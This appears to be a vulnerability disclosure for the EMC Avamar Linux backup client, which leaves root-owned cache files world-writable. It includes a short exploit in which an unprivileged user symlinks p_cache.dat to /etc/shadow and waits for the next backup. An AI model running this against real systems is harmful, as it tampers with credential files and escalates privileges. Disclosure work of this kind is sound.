Product: Avamar backup client for Linux (Proberly also Unix but not tested)
Vendor: EMC (http://www.emc.com)
Tested version: 6.1.100-402 (Latest)
Vendor Notification: December 17, 2012
Vender Patch: None
Vender Workaround: <quote>workaround is to run a script at the end of each backup which set the files permissions to be read/write for the owner only</quote>
Vender Response: Will maybe be patched in version 7 mid-2013 since EMC does not patch for security
Solution Status: None
Risk Level: High

Details:

The avamar client runs as root and after each backup it leavs the cache files as world writable:

ls -latr /var/avamar/f_cache.dat

-rw-rw-rw- 1 root root 11534880 Dec 17 10:30 /var/avamar/f_cache.dat

ls -latr /var/avamar/p_cache.dat

-rw-rw-rw- 1 root root 3146272 Dec 17 10:30 /var/avamar/p_cache.dat

Fun && profit:

id

uid=1000(slave) gid=1000(slave) groups=1000(slave)

cd /var/avamar

ln -sf /etc/shadow p_cache.dat

and wait for the next backup window.